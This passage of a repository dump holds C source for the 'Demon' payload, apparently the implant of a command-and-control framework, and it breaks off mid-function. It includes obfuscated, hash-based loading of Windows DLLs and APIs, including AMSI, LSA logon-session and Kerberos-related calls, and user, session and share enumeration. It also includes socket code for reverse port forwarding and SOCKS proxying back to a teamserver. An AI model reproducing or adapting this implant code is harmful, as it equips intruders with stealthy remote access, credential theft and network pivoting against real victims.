Oleaut32\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtUser32(\n    VOID\n) {\n    CHAR ModuleName[ 11 ] = { 0 };\n\n    ModuleName[ 1  ] = HideChar('S');\n    ModuleName[ 0  ] = HideChar('U');\n    ModuleName[ 10 ] = HideChar(0);\n    ModuleName[ 6  ] = HideChar('.');\n    ModuleName[ 8  ] = HideChar('L');\n    ModuleName[ 7  ] = HideChar('D');\n    ModuleName[ 5  ] = HideChar('2');\n    ModuleName[ 3  ] = HideChar('R');\n    ModuleName[ 9  ] = HideChar('L');\n    ModuleName[ 2  ] = HideChar('E');\n    ModuleName[ 4  ] = HideChar('3');\n\n    if ( ( Instance->Modules.User32 = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.ShowWindow       = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_SHOWWINDOW );\n        Instance->Win32.GetSystemMetrics = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETSYSTEMMETRICS );\n        Instance->Win32.GetDC            = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETDC );\n        Instance->Win32.ReleaseDC        = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_RELEASEDC );\n\n        PUTS( \"Loaded User32 functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load User32\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtShell32(\n    VOID\n) {\n    CHAR ModuleName[ 12 ] = { 0 };\n\n    ModuleName[ 0  ] = HideChar('S');\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 7  ] = HideChar('.');\n    ModuleName[ 6  ] = HideChar('2');\n    ModuleName[ 8  ] = HideChar('D');\n    ModuleName[ 4  ] = HideChar('L');\n    ModuleName[ 1  ] = HideChar('H');\n    ModuleName[ 11 ] = HideChar(0);\n    ModuleName[ 9  ] = HideChar('L');\n    ModuleName[ 5  ] = HideChar('3');\n    ModuleName[ 3  ] = HideChar('L');\n    ModuleName[ 2  ] = HideChar('E');\n\n    if ( ( Instance->Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.CommandLineToArgvW = LdrFunctionAddr( Instance->Modules.Shell32, H_FUNC_COMMANDLINETOARGVW );\n\n        PUTS( \"Loaded Shell32 functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Shell32\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtMsvcrt(\n    VOID\n) {\n    CHAR ModuleName[ 11 ] = { 0 };\n\n    ModuleName[ 0  ] = HideChar('M');\n    ModuleName[ 6  ] = HideChar('.');\n    ModuleName[ 10 ] = HideChar(0);\n    ModuleName[ 9  ] = HideChar('L');\n    ModuleName[ 4  ] = HideChar('R');\n    ModuleName[ 2  ] = HideChar('V');\n    ModuleName[ 8  ] = HideChar('L');\n    ModuleName[ 7  ] = HideChar('D');\n    ModuleName[ 3  ] = HideChar('C');\n    ModuleName[ 5  ] = HideChar('T');\n    ModuleName[ 1  ] = HideChar('S');\n\n    if ( ( Instance->Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.vsnprintf  = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_VSNPRINTF );\n        Instance->Win32.swprintf_s = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_SWPRINTF_S );\n\n        PUTS( \"Loaded Msvcrt functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Msvcrt\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtIphlpapi(\n    VOID\n) {\n    CHAR ModuleName[ 13 ] = { 0 };\n\n    ModuleName[ 8  ] = HideChar('.');\n    ModuleName[ 0  ] = HideChar('I');\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 2  ] = HideChar('H');\n    ModuleName[ 9  ] = HideChar('D');\n    ModuleName[ 6  ] = HideChar('P');\n    ModuleName[ 11 ] = HideChar('L');\n    ModuleName[ 1  ] = HideChar('P');\n    ModuleName[ 3  ] = HideChar('L');\n    ModuleName[ 12 ] = HideChar(0);\n    ModuleName[ 5  ] = HideChar('A');\n    ModuleName[ 4  ] = HideChar('P');\n    ModuleName[ 7  ] = HideChar('I');\n\n    if ( ( Instance->Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.GetAdaptersInfo = LdrFunctionAddr( Instance->Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO );\n\n        PUTS( \"Loaded Iphlpapi functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Iphlpapi\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtGdi32(\n    VOID\n) {\n    CHAR ModuleName[ 10 ] = { 0 };\n\n    ModuleName[ 4 ] = HideChar('2');\n    ModuleName[ 6 ] = HideChar('D');\n    ModuleName[ 5 ] = HideChar('.');\n    ModuleName[ 8 ] = HideChar('L');\n    ModuleName[ 2 ] = HideChar('I');\n    ModuleName[ 1 ] = HideChar('D');\n    ModuleName[ 7 ] = HideChar('L');\n    ModuleName[ 9 ] = HideChar(0);\n    ModuleName[ 0 ] = HideChar('G');\n    ModuleName[ 3 ] = HideChar('3');\n\n    if ( ( Instance->Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.GetCurrentObject   = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETCURRENTOBJECT );\n        Instance->Win32.GetObjectW         = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETOBJECTW );\n        Instance->Win32.CreateCompatibleDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC );\n        Instance->Win32.CreateDIBSection   = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATEDIBSECTION );\n        Instance->Win32.SelectObject       = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_SELECTOBJECT );\n        Instance->Win32.BitBlt             = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_BITBLT );\n        Instance->Win32.DeleteObject       = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEOBJECT );\n        Instance->Win32.DeleteDC           = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEDC );\n\n        PUTS( \"Loaded Gdi32 functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Gdi32\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtNetApi32(\n    VOID\n) {\n    CHAR ModuleName[ 13 ] = { 0 };\n\n    ModuleName[ 0  ] = HideChar('N');\n    ModuleName[ 11 ] = HideChar('L');\n    ModuleName[ 8  ] = HideChar('.');\n    ModuleName[ 9  ] = HideChar('D');\n    ModuleName[ 6  ] = HideChar('3');\n    ModuleName[ 2  ] = HideChar('T');\n    ModuleName[ 3  ] = HideChar('A');\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 12 ] = HideChar(0);\n    ModuleName[ 4  ] = HideChar('P');\n    ModuleName[ 5  ] = HideChar('I');\n    ModuleName[ 1  ] = HideChar('E');\n    ModuleName[ 7  ] = HideChar('2');\n\n    if ( ( Instance->Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM );\n        Instance->Win32.NetGroupEnum      = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETGROUPENUM );\n        Instance->Win32.NetUserEnum       = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETUSERENUM );\n        Instance->Win32.NetWkstaUserEnum  = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM );\n        Instance->Win32.NetSessionEnum    = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSESSIONENUM );\n        Instance->Win32.NetShareEnum      = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSHAREENUM );\n        Instance->Win32.NetApiBufferFree  = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE );\n\n        PUTS( \"Loaded NetApi32 functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load NetApi32\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtWs2_32(\n    VOID\n) {\n    CHAR ModuleName[ 11 ] = { 0 };\n\n    ModuleName[ 0  ] = HideChar('W');\n    ModuleName[ 2  ] = HideChar('2');\n    ModuleName[ 4  ] = HideChar('3');\n    ModuleName[ 6  ] = HideChar('.');\n    ModuleName[ 9  ] = HideChar('L');\n    ModuleName[ 1  ] = HideChar('S');\n    ModuleName[ 3  ] = HideChar('_');\n    ModuleName[ 5  ] = HideChar('2');\n    ModuleName[ 10 ] = HideChar(0);\n    ModuleName[ 8  ] = HideChar('L');\n    ModuleName[ 7  ] = HideChar('D');\n\n    if ( ( Instance->Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.WSAStartup      = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASTARTUP );\n        Instance->Win32.WSACleanup      = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSACLEANUP );\n        Instance->Win32.WSASocketA      = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASOCKETA );\n        Instance->Win32.WSAGetLastError = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSAGETLASTERROR );\n        Instance->Win32.ioctlsocket     = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_IOCTLSOCKET );\n        Instance->Win32.bind            = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_BIND );\n        Instance->Win32.listen          = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_LISTEN );\n        Instance->Win32.accept          = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_ACCEPT );\n        Instance->Win32.closesocket     = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CLOSESOCKET );\n        Instance->Win32.recv            = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_RECV );\n        Instance->Win32.send            = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_SEND );\n        Instance->Win32.connect         = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CONNECT );\n        Instance->Win32.getaddrinfo     = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_GETADDRINFO );\n        Instance->Win32.freeaddrinfo    = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_FREEADDRINFO );\n\n        PUTS( \"Loaded Ws2_32 functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Ws2_32\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n\nBOOL RtSspicli(\n    VOID\n) {\n    CHAR ModuleName[ 12 ] = { 0 };\n\n    ModuleName[ 0  ] = HideChar('S');\n    ModuleName[ 11 ] = HideChar(0);\n    ModuleName[ 9  ] = HideChar('L');\n    ModuleName[ 1  ] = HideChar('S');\n    ModuleName[ 6  ] = HideChar('I');\n    ModuleName[ 7  ] = HideChar('.');\n    ModuleName[ 5  ] = HideChar('L');\n    ModuleName[ 8  ] = HideChar('D');\n    ModuleName[ 2  ] = HideChar('P');\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 4  ] = HideChar('C');\n    ModuleName[ 3  ] = HideChar('I');\n\n    if ( ( Instance->Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.LsaRegisterLogonProcess        = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS );\n        Instance->Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE );\n        Instance->Win32.LsaDeregisterLogonProcess      = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS );\n        Instance->Win32.LsaConnectUntrusted            = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED );\n        Instance->Win32.LsaFreeReturnBuffer            = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER );\n        Instance->Win32.LsaCallAuthenticationPackage   = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE );\n        Instance->Win32.LsaGetLogonSessionData         = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA );\n        Instance->Win32.LsaEnumerateLogonSessions      = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS );\n\n        PUTS( \"Loaded Sspicli functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Sspicli\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtAmsi(\n    VOID\n) {\n    CHAR ModuleName[ 9 ] = { 0 };\n\n    ModuleName[ 3 ] = HideChar('I');\n    ModuleName[ 5 ] = HideChar('D');\n    ModuleName[ 7 ] = HideChar('L');\n    ModuleName[ 8 ] = HideChar(0);\n    ModuleName[ 6 ] = HideChar('L');\n    ModuleName[ 4 ] = HideChar('.');\n    ModuleName[ 0 ] = HideChar('A');\n    ModuleName[ 1 ] = HideChar('M');\n    ModuleName[ 2 ] = HideChar('S');\n\n    if ( ( Instance->Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.AmsiScanBuffer = LdrFunctionAddr( Instance->Modules.Amsi, H_FUNC_AMSISCANBUFFER );\n\n        PUTS( \"Loaded Amsi functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Amsi\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n#ifdef TRANSPORT_HTTP\nBOOL RtWinHttp(\n    VOID\n) {\n    CHAR ModuleName[ 12 ] = { 0 };\n\n    ModuleName[ 0  ] = HideChar('W');\n    ModuleName[ 2  ] = HideChar('N');\n    ModuleName[ 7  ] = HideChar('.');\n    ModuleName[ 11 ] = HideChar(0);\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 4  ] = HideChar('T');\n    ModuleName[ 8  ] = HideChar('D');\n    ModuleName[ 1  ] = HideChar('I');\n    ModuleName[ 9  ] = HideChar('L');\n    ModuleName[ 6  ] = HideChar('P');\n    ModuleName[ 3  ] = HideChar('H');\n    ModuleName[ 5  ] = HideChar('T');\n\n    if ( ( Instance->Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.WinHttpOpen                           = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPEN );\n        Instance->Win32.WinHttpConnect                        = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCONNECT );\n        Instance->Win32.WinHttpOpenRequest                    = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST );\n        Instance->Win32.WinHttpSetOption                      = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSETOPTION );\n        Instance->Win32.WinHttpCloseHandle                    = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE );\n        Instance->Win32.WinHttpSendRequest                    = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST );\n        Instance->Win32.WinHttpAddRequestHeaders              = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS );\n        Instance->Win32.WinHttpReceiveResponse                = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE );\n        Instance->Win32.WinHttpReadData                       = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPREADDATA );\n        Instance->Win32.WinHttpQueryHeaders                   = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS );\n        Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER );\n        Instance->Win32.WinHttpGetProxyForUrl                 = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL );\n\n        PUTS( \"Loaded WinHttp functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load WinHttp\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n#endif\n"
  },
  {
    "path": "payloads/Demon/src/core/Socket.c",
    "content": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n\n/* attempt to receive all the requested data from the socket\n * Took it from: https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c#L41 */\nBOOL RecvAll( SOCKET Socket, PVOID Buffer, DWORD Length, PDWORD BytesRead )\n{\n    DWORD tret   = 0;\n    DWORD nret   = 0;\n    PVOID Start = Buffer;\n\n    while ( tret < Length )\n    {\n        nret = Instance->Win32.recv( Socket, Start, Length - tret, 0 );\n\n        if ( nret == SOCKET_ERROR )\n        {\n            PUTS( \"recv Failed\" )\n            *BytesRead = tret;\n            return FALSE;\n        }\n\n        Start += nret;\n        tret  += nret;\n    }\n\n    *BytesRead = tret;\n\n    return TRUE;\n}\n\nBOOL InitWSA( VOID )\n{\n    WSADATA WsData = { 0 };\n    DWORD   Result = 0;\n\n    /* Init Windows Socket. */\n    if ( Instance->WSAWasInitialised == FALSE )\n    {\n        PUTS( \"Init Windows Socket...\" )\n\n        if ( ( Result = Instance->Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 )\n        {\n            PRINTF( \"WSAStartup Failed: %d\\n\", Result )\n\n            /* cleanup and be gone. */\n            Instance->Win32.WSACleanup();\n            return FALSE;\n        }\n\n        Instance->WSAWasInitialised = TRUE;\n    }\n\n    return TRUE;\n}\n\n/* Inspired from https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c#L277 */\nPSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PBYTE IPv6, DWORD LclPort, DWORD FwdAddr, DWORD FwdPort, DWORD ParentID )\n{\n    PSOCKET_DATA    Socket    = NULL;\n    SOCKADDR_IN     SockAddr  = { 0 };\n    SOCKADDR_IN6_LH SockAddr6 = { 0 };\n    u_long          IoBlock   = 1;\n    UINT32          ErrorCode = 0;\n\n    /* if we specified SOCKET_TYPE_NONE then that means that\n     * the caller only wants an object inserted into the socket linked list. */\n    if ( ( Type != SOCKET_TYPE_NONE ) && ( Type != SOCKET_TYPE_CLIENT ) )\n    {\n        if ( ! InitWSA() )\n            return NULL;\n\n        PUTS( \"Create Socket...\" )\n\n        if ( UseIpv4 )\n        {\n            WinSock = Instance->Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL );\n            if ( WinSock == INVALID_SOCKET )\n            {\n                PRINTF( \"WSASocketA Failed: %d\\n\", NtGetLastError() )\n                goto CLEANUP;\n            }\n\n            /* Set bind address and port */\n            SockAddr.sin_addr.s_addr = IPv4;\n            SockAddr.sin_port        = HTONS16( LclPort );\n            SockAddr.sin_family      = AF_INET;\n\n            PRINTF( \"SockAddr: %d.%d.%d.%d:%d\\n\",\n                    ( IPv4 & 0x000000ff ) >> ( 0 * 8 ),\n                    ( IPv4 & 0x0000ff00 ) >> ( 1 * 8 ),\n                    ( IPv4 & 0x00ff0000 ) >> ( 2 * 8 ),\n                    ( IPv4 & 0xff000000 ) >> ( 3 * 8 ),\n                    LclPort\n            )\n        }\n        else\n        {\n            WinSock = Instance->Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );\n            if ( WinSock == INVALID_SOCKET )\n            {\n                PRINTF( \"WSASocketA Failed: %d\\n\", NtGetLastError() )\n                goto CLEANUP;\n            }\n\n            /* Set bind address and port */\n            MemCopy( &SockAddr6.sin6_addr, IPv6, 16 );\n            SockAddr6.sin6_port   = HTONS16( LclPort );\n            SockAddr6.sin6_family = AF_INET6;\n\n            PRINTF( \"SockAddr6: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%d\\n\",\n                IPv6[0],  IPv6[1],  IPv6[2],  IPv6[3],\n                IPv6[4],  IPv6[5],  IPv6[6],  IPv6[7],\n                IPv6[8],  IPv6[9],  IPv6[10], IPv6[11],\n                IPv6[12], IPv6[13], IPv6[14], IPv6[15],\n                LclPort\n            )\n        }\n\n        if ( Type == SOCKET_TYPE_REVERSE_PROXY )\n        {\n            if ( UseIpv4 )\n            {\n                /* connect to host:port */\n                if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )\n                {\n                    PRINTF( \"connect failed: %d\\n\", NtGetLastError() )\n                    goto CLEANUP;\n                }\n            }\n            else\n            {\n                /* connect to host:port */\n                if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR )\n                {\n                    PRINTF( \"connect failed: %d\\n\", NtGetLastError() )\n                    goto CLEANUP;\n                }\n            }\n\n            /* set socket to non blocking */\n            if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )\n            {\n                PRINTF( \"ioctlsocket failed: %d\\n\", NtGetLastError() )\n                goto CLEANUP;\n            }\n\n            PUTS( \"Connected to host\" )\n        }\n        else\n        {\n            // SOCKET_TYPE_REVERSE_PORTFWD only supports IPv4\n\n            /* set socket to non blocking */\n            if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )\n            {\n                PRINTF( \"ioctlsocket failed: %d\\n\", NtGetLastError() )\n                goto CLEANUP;\n            }\n\n            /* bind the socket */\n            if ( Instance->Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )\n            {\n                PRINTF( \"bind failed: %d\\n\", NtGetLastError() )\n                goto CLEANUP;\n            }\n\n            /* now listen... */\n            if ( Instance->Win32.listen( WinSock, 1 ) == SOCKET_ERROR )\n            {\n                PRINTF( \"listen failed: %d\\n\", NtGetLastError() )\n                goto CLEANUP;\n            }\n\n            PUTS( \"Started listening...\" )\n        }\n    }\n\n    /* Allocate our Socket object */\n    Socket               = MmHeapAlloc( sizeof( SOCKET_DATA ) );\n    Socket->ID           = RandomNumber32();\n    Socket->ParentID     = ParentID;\n    Socket->Type         = Type;\n    Socket->ShouldRemove = FALSE;\n    Socket->IPv4         = IPv4;\n    Socket->IPv6         = IPv6;\n    Socket->LclPort      = LclPort;\n    Socket->FwdAddr      = FwdAddr;\n    Socket->FwdPort      = FwdPort;\n    Socket->Socket       = WinSock;\n    Socket->Next         = Instance->Sockets;\n\n    Instance->Sockets = Socket;\n\n    PRINTF( \"SocketNew => ID:[%x] Parent:[%x] WinSock:[%x] Type:[%d] IPv4:[%lx] IPv6:[%lx] LclPort:[%ld] FwdAddr:[%lx] FwdPort:[%ld]\\n\", Socket->ID, ParentID, WinSock, Type, IPv4, IPv6, LclPort, FwdAddr, FwdPort )\n\n    return Socket;\n\nCLEANUP:\n    if ( WinSock && WinSock != INVALID_SOCKET )\n    {\n        // close the socket preserving the last error code\n        ErrorCode = NtGetLastError();\n        Instance->Win32.closesocket( WinSock );\n        NtSetLastError(ErrorCode);\n    }\n\n    return NULL;\n}\n\n/* Check for new connected clients. */\nVOID SocketClients()\n{\n    PPACKAGE     Package = NULL;\n    PSOCKET_DATA Socket  = NULL;\n    PSOCKET_DATA Client  = NULL;\n    SOCKET       WinSock = 0;\n    u_long       IoBlock = 1;\n\n    Socket = Instance->Sockets;\n\n    /* First lets check for new clients */\n    for ( ;; )\n    {\n        if ( ! Socket )\n            break;\n\n        if ( Socket->ShouldRemove ) {\n            Socket = Socket->Next;\n            continue;\n        }\n\n        /* Accept any connection made from the rportfwd */\n        if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD )\n        {\n            /* accept connection */\n            WinSock = Instance->Win32.accept( Socket->Socket, NULL, NULL );\n            if ( WinSock != INVALID_SOCKET )\n            {\n                /* set socket to non blocking */\n                if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR )\n                {\n                    /* Add the client to the socket linked list so we can read from it later on */\n                    Client = SocketNew( WinSock, SOCKET_TYPE_CLIENT, TRUE, Socket->IPv4, NULL, Socket->LclPort, Socket->FwdAddr, Socket->FwdPort, Socket->ID );\n\n                    /* create socket response package */\n                    Package = PackageCreate( DEMON_COMMAND_SOCKET );\n\n                    /* socket package header */\n                    PackageAddInt32( Package, SOCKET_COMMAND_OPEN );\n                    PackageAddInt32( Package, Client->ID );\n\n                    /* Local Host & Port data */\n                    PackageAddInt32( Package, Client->IPv4 );\n                    PackageAddInt32( Package, Client->LclPort );\n\n                    /* Forward Host & Port data */\n                    PackageAddInt32( Package, Client->FwdAddr );\n                    PackageAddInt32( Package, Client->FwdPort );\n\n                    /* Send the socket open request */\n                    PackageTransmit( Package );\n                    Package = NULL;\n                }\n                else\n                {\n                    PRINTF( \"ioctlsocket failed: %d\\n\", NtGetLastError() )\n\n                    /* close socket. */\n                    Instance->Win32.closesocket( WinSock );\n                }\n            }\n        }\n\n        Socket = Socket->Next;\n    }\n}\n\n/* Read data from the clients */\nVOID SocketRead()\n{\n    PPACKAGE     Package     = NULL;\n    PSOCKET_DATA Socket      = NULL;\n    PVOID        NewBuffer   = NULL;\n    BUFFER       PartialData = { 0 };\n    BUFFER       FullData    = { 0 };\n    BOOL         Failed      = FALSE;\n    DWORD        ErrorCode   = 0;\n\n    Socket = Instance->Sockets;\n\n    /* First lets check for new clients */\n    for ( ;; )\n    {\n        if ( ! Socket )\n            break;\n\n        if ( Socket->ShouldRemove ) {\n            Socket = Socket->Next;\n            continue;\n        }\n\n        Failed    = FALSE;\n        ErrorCode = 0;\n\n        /* reads data from connected clients/socks proxies */\n        if ( Socket->Type == SOCKET_TYPE_CLIENT || Socket->Type == SOCKET_TYPE_REVERSE_PROXY )\n        {\n            FullData.Length = 0;\n            FullData.Buffer = NULL;\n\n            do\n            {\n                PartialData.Length = 0;\n                PartialData.Buffer = NULL;\n\n                /*\n                 * FIONREAD returns the amount of data that can be read in a single call to the recv function\n                 * this might not be the same as the total amount of data queued on the socket.\n                 * because of this, we read for new data in a loop\n                 */\n                if ( Instance->Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR )\n                {\n                    PRINTF( \"Failed to get the read size from %x : %d\\n\", Socket->ID, Socket->Type )\n\n                    /* Tell the Socket remover that it can remove this one. */\n                    Socket->ShouldRemove = TRUE;\n\n                    Failed    = TRUE;\n                    ErrorCode = Instance->Win32.WSAGetLastError();\n                }\n\n                if ( PartialData.Length > 0 )\n                {\n                    PartialData.Buffer = MmHeapAlloc( PartialData.Length );\n\n                    if ( ! RecvAll( Socket->Socket, PartialData.Buffer, PartialData.Length, &PartialData.Length ) ) {\n                        Failed    = TRUE;\n                        ErrorCode = Instance->Win32.WSAGetLastError();\n                    }\n\n                    if ( PartialData.Length > 0 )\n                    {\n                        if ( ! FullData.Buffer )\n                        {\n                            FullData.Buffer    = PartialData.Buffer;\n                            FullData.Length    = PartialData.Length;\n                            PartialData.Buffer = NULL;\n                        }\n                        else\n                        {\n                            // allocate a new buffer to store the old and new data\n                            NewBuffer = MmHeapAlloc( FullData.Length + PartialData.Length );\n                            // copy the old data into the new buffer\n                            MemCopy( NewBuffer, FullData.Buffer, FullData.Length );\n                            // free the old 'FullData' buffer\n                            MemSet( FullData.Buffer, 0, FullData.Length );\n                            MmHeapFree( FullData.Buffer );\n                            // set the new buffer into 'FullData'\n                            FullData.Buffer = NewBuffer;\n                            NewBuffer = NULL;\n                            // copy the new data\n                            MemCopy( C_PTR( U_PTR( FullData.Buffer ) + FullData.Length ), PartialData.Buffer, PartialData.Length );\n                            FullData.Length += PartialData.Length;\n                            // free the new data\n                            MemSet( PartialData.Buffer, 0, PartialData.Length );\n                            MmHeapFree( PartialData.Buffer );\n                            PartialData.Buffer = NULL;\n                        }\n                    }\n                }\n            } while ( PartialData.Length > 0 );\n\n            if ( FullData.Length > 0 )\n            {\n                PRINTF( \"Read %ld bytes from socket %x\\n\", FullData.Length, Socket->ID )\n\n                /* Create socket request package */\n                Package = PackageCreate( DEMON_COMMAND_SOCKET );\n\n                /* tell the teamserver to write to the socket of the forwarded host */\n                